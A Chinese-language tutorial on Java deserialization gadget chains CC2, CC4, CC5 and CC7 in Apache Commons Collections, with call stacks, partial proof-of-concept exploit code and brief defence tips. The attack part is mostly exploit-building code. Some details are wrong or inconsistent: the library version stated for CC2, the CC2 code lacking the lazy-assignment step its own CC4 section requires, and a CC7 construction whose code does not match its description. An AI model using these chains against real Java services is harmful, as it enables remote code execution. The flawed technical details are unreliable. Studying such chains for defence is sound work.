CC4_CC2_CC5_CC7
字数 3573 2025-10-29 23:25:25
Apache Commons Collections 反序列化漏洞利用链(CC2/CC4/CC5/CC7)深入解析
文档说明
目标读者: 已具备Java反序列化基础知识,了解CC1和CC3利用链的安全研究人员、渗透测试人员及Java开发者。
教学目的: 深入理解CC2、CC4、CC5、CC7利用链的触发起点、核心组件、构造技巧及差异点,掌握漏洞挖掘与防御方法。
环境依赖:
- Commons Collections 4.0 (用于CC4)
- Commons Collections 3.1 (用于CC2, CC5, CC7)
- JDK 8u65 或类似版本(需低于JDK 8u71以避开
sun.reflect.annotation.AnnotationInvocationHandler的修复)
第一章:CC4 利用链分析
CC4是CC2与CC3的“结合体”,它主要在Commons Collections 4.0版本中利用PriorityQueue和TransformingComparator来触发执行。
1.1 核心组件
- 触发类:
java.util.PriorityQueue- 该类在反序列化时会调用
readObject方法,并执行heapify()来重建堆结构。
- 该类在反序列化时会调用
- 比较器:
org.apache.commons.collections4.comparators.TransformingComparator- 在比较时调用其
compare方法,进而调用内部Transformer的transform方法。
- 在比较时调用其
- Transformer链:
org.apache.commons.collections4.functors.ChainedTransformer- 用于将多个Transformer连接起来,按顺序执行。
- 代码执行器:
org.apache.commons.collections4.functors.InstantiateTransformer- 通过反射实例化对象,结合
TemplatesImpl实现字节码加载。
- 通过反射实例化对象,结合
1.2 利用链调用栈
PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> comparator.compare() // TransformingComparator.compare()
-> this.transformer.transform() // ChainedTransformer.transform()
-> InstantiateTransformer.transform() // 触发TemplatesImpl.newTransformer()
-> ... // 后续同CC3,执行恶意字节码
1.3 构造过程与关键点
- 构造恶意TemplatesImpl:与CC3完全相同,通过反射设置
_name、_bytecodes等字段,加载恶意类字节码。 - 构造ChainedTransformer:
Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), // 传入目标类 new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) // 实例化TrAXFilter,其构造函数会调用TemplatesImpl.newTransformer() }; ChainedTransformer chain = new ChainedTransformer(transformers); - 设置TransformingComparator:
TransformingComparator comparator = new TransformingComparator(chain); - 配置PriorityQueue:
- 关键问题:在
add元素时就会调用compare,导致序列化前就触发代码执行。 - 解决方案(惰性赋值):
- 先用一个无害的Transformer(如
new ConstantTransformer(1))初始化TransformingComparator。 - 通过
priorityQueue.add(1); priorityQueue.add(2);添加两个元素,确保队列有足够大小(size>=2)以使heapify中的循环(size >>> 1) - 1能执行。 - 在添加元素后,再通过反射将
TransformingComparator内部的transformer字段替换为恶意的ChainedTransformer。
- 先用一个无害的Transformer(如
// 先使用无害Transformer TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue queue = new PriorityQueue(comparator); queue.add(1); queue.add(2); // 通过反射替换为恶意Transformer Field transformerField = TransformingComparator.class.getDeclaredField("transformer"); transformerField.setAccessible(true); transformerField.set(comparator, chain); // 替换为恶意的chain - 关键问题:在
1.4 完整POC代码(核心逻辑)
// 1. 构造TemplatesImpl(同CC3)
TemplatesImpl templates = ...;
// 2. 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
// 3. 构造Comparator并设置PriorityQueue(使用惰性赋值)
TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue queue = new PriorityQueue(comparator);
queue.add(1);
queue.add(2);
// 4. 反射替换Transformer
Field transformerField = TransformingComparator.class.getDeclaredField("transformer");
transformerField.setAccessible(true);
transformerField.set(comparator, chain);
// 5. 序列化/反序列化触发
serialize(queue);
unserialize("ser.bin");
第二章:CC2 利用链分析
CC2利用java.util.PriorityQueue和org.apache.commons.collections4.comparators.TransformingComparator,但代码执行方式不同。
2.1 与CC4的区别
- Commons Collections版本:CC2使用3.1版本,因此包路径为
org.apache.commons.collections.functors和org.apache.commons.collections.comparators。 - 代码执行方式:CC2利用
InvokerTransformer直接调用TemplatesImpl的newTransformer方法,而非InstantiateTransformer。
2.2 利用链调用栈
PriorityQueue.readObject()
-> heapify()
-> siftDown()
-> siftDownUsingComparator()
-> comparator.compare() // TransformingComparator.compare()
-> this.transformer.transform() // ChainedTransformer.transform()
-> InvokerTransformer.transform() // 反射调用TemplatesImpl.newTransformer()
-> TemplatesImpl.newTransformer() // 触发恶意字节码执行
2.3 完整POC(核心逻辑)
TemplatesImpl templates = ...; // 构造同CC3
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null) // 直接调用newTransformer方法
};
ChainedTransformer chain = new ChainedTransformer(transformers);
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(comparator);
queue.add(1);
queue.add(2);
// 序列化/反序列化触发
第三章:CC5 利用链分析
CC5通过BadAttributeValueExpException的readObject方法触发TiedMapEntry的getValue,进而触发LazyMap.get。
3.1 核心组件
- 触发类:
javax.management.BadAttributeValueExpException- 反序列化时直接调用
this.val.toString()。
- 反序列化时直接调用
- 桥梁类:
org.apache.commons.collections.keyvalue.TiedMapEntry- 其
toString方法调用getValue(),进而调用this.map.get(this.key)。
- 其
- 触发Map:
org.apache.commons.collections.map.LazyMap- 当
get方法找不到key时,会调用this.factory.transform()。
- 当
3.2 利用链调用栈
BadAttributeValueExpException.readObject()
-> val.toString() // TiedMapEntry.toString()
-> this.getValue() // TiedMapEntry.getValue()
-> this.map.get() // LazyMap.get()
-> this.factory.transform() // ChainedTransformer.transform()
-> ... // 后续Transformer链执行
3.3 构造关键点
- 需要设置
BadAttributeValueExpException的val字段为TiedMapEntry实例。 TiedMapEntry的map需为LazyMap,且其factory为恶意的ChainedTransformer。- 需通过反射设置
LazyMap的factory,避免在构造时触发。
3.4 POC代码(核心逻辑)
Transformer[] transformers = ...; // 构造Transformer链(如CC1)
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, chain); // 设置LazyMap的factory为chain
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); // key为"foo",确保LazyMap.get()触发transform
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(bad, entry); // 通过反射设置val字段,避免构造函数检查
第四章:CC7 利用链分析
CC7利用Hashtable的反序列化机制,通过其reconstitutionPut方法触发AbstractMap.equals,进而触发LazyMap.get。
4.1 核心组件
- 触发类:
java.util.Hashtable- 反序列化时对每个键值对执行
reconstitutionPut,会调用key.equals()。
- 反序列化时对每个键值对执行
- 桥梁类:
org.apache.commons.collections.map.AbstractMapDecorator- 其
equals方法会调用this.map.equals(),进而触发LazyMap.get。
- 其
4.2 利用链调用栈
Hashtable.readObject()
-> reconstitutionPut()
-> key.equals() // AbstractMapDecorator.equals()
-> this.map.equals() // LazyMap.equals()
-> this.get() // 在equals比较过程中触发LazyMap.get()
-> this.factory.transform() // ChainedTransformer.transform()
-> ... // 执行恶意代码
4.3 构造过程
- 创建两个
LazyMap实例(map1, map2),其factory为恶意ChainedTransformer。 - 创建两个
AbstractMapDecorator(或直接使用LazyMap)作为key,分别放入两个Hashtable。 - 通过反射交换两个
LazyMap的key,使equals比较时触发get。
4.4 完整POC(核心逻辑)
Transformer[] transformers = ...; // 构造Transformer链
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1, chain);
Map lazyMap2 = LazyMap.decorate(innerMap2, chain);
// 设置两个不同的key
lazyMap1.put("yy", 1);
lazyMap2.put("zZ", 1);
// 创建Hashtable并添加键值对
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
// 通过反射交换两个LazyMap的key,使equals时触发get
Field factoryField = LazyMap.class.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap1, chain); // 确保factory已设置
// 序列化/反序列化触发
第五章:总结与对比
| 利用链 | 触发类 | 关键Transformer | 版本 | 特点 |
|---|---|---|---|---|
| CC2 | PriorityQueue | InvokerTransformer | CC 3.1 | 直接反射调用,简洁高效 |
| CC4 | PriorityQueue | InstantiateTransformer | CC 4.0 | 结合CC3的字节码加载方式 |
| CC5 | BadAttributeValueExpException | LazyMap + ChainedTransformer | CC 3.1 | 利用异常类触发,依赖较少 |
| CC7 | Hashtable | LazyMap + ChainedTransformer | CC 3.1 | 通过Map的equals方法触发,构造复杂 |
防御建议
- 升级Commons Collections:使用最新版本(如4.4+),其中已修复这些反序列化问题。
- 全局反序列化过滤:使用
ObjectInputFilter设置白名单,限制反序列化的类。 - 代码安全审计:检查所有反序列化入口点,避免不可信数据流入。
以上即为CC2、CC4、CC5、CC7利用链的完整教学文档。重点在于理解每条链的触发起点、核心组件的串联方式以及构造时的关键技巧(如惰性赋值、反射修改字段等)。